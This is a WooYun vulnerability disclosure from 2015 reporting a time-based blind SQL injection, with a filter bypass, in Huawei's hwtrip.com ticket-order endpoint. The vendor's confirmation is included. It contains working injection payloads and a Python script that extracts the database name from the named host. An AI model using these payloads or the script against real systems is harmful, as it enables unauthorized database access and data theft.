当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-097743

漏洞标题:华为爱旅主站盲注绕过过滤<附验证脚本>

相关厂商:华为技术有限公司

漏洞作者: BMa

提交时间:2015-02-19 17:47

修复时间:2015-04-05 17:48

公开时间:2015-04-05 17:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:14

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-19: 细节已通知厂商并且等待厂商处理中
2015-02-19: 厂商已经确认,细节仅向厂商公开
2015-03-01: 细节向核心白帽子及相关领域专家公开
2015-03-11: 细节向普通白帽子公开
2015-03-21: 细节向实习白帽子公开
2015-04-05: 细节向公众公开

简要描述:

华为爱旅主站盲注<附验证脚本>
边看春晚边跑,网速还这么慢,我容易么
祝各位新年好,心想事成

详细说明:

站点:http://www.hwtrip.com/
注入点:
URL:http://www.hwtrip.com/v3/trip/order/ticketfill
post:priceID%5b2399%5d=0&tripID=
参数:tripID=
延迟10s:
priceID[2399]=0&tripID=if(now()=sysdate(),sleep(10),0)#

2.png


网站上是存在过滤的,if(ascii(mid(version(),1,1)) = 53,sleep(5),0)# 返回服务器错误,
构造if(now()=sysdate(),sleep(abs(ascii(mid(lower(version()),1,1))-53)),0)#绕过
当version的第一位ascii减去52时:

1.1.png


当version的第一位ascii减去53时:

1.png


这样可以通过返回的延时来逐位确定
得到database():hwtrip**<还有几位没跑,如果不确定,可以使用如下脚本验证>

3.png


边看春晚边跑,网速还这么慢,我容易么

漏洞证明:

附上验证脚本:

#!/usr/bin/python
#coding:utf_8
import httplib
import time
import urllib
import sys
import random
headers = {"Content-type": "application/x-www-form-urlencoded",
'Accept-Language':'zh-CN,zh;q=0.8',
'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.0)',
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Connection": "close",
"Cache-Control": "no-cache"}
post_data = {"priceID[2399]":'0'
}
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
base_url = "/v3/trip/order/ticketfill"
user = ''
def sql():

global post_data
global user

cookie = raw_input("pls input your cookie:")
headers["Cookie"] = cookie

for i in range(1,22):
for payload in payloads:
getuser = "if(now()=sysdate(),sleep(abs(ascii(mid(lower(database()),%d,1))-%d)),0)#" % (i,ord(payload))
post_data["tripID"] = getuser

postdata = urllib.urlencode(post_data)
conn = httplib.HTTPConnection('www.hwtrip.com',80,timeout=60)
conn.request('POST', base_url, postdata, headers)
now_time = time.time()
html_contet = conn.getresponse().read().decode('utf-8')
# print html_contet

if time.time() - now_time < 1:
user += payload
sys.stdout.write('\r[In Progress]' + user +'\n')
sys.stdout.flush()
break
else:
print 'WAITING...' + str(random.randint(1,100))
if __name__ == "__main__":
sql()
print '\n[Done]MySQL user is ' + user
# print time.strftime('%H:%M:%S', time.localtime())

修复方案:

版权声明:转载请注明来源 BMa@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-02-19 21:23

厂商回复:

感谢BMa反馈,放假都不忘挖洞,实在辛苦啊。

最新状态:

暂无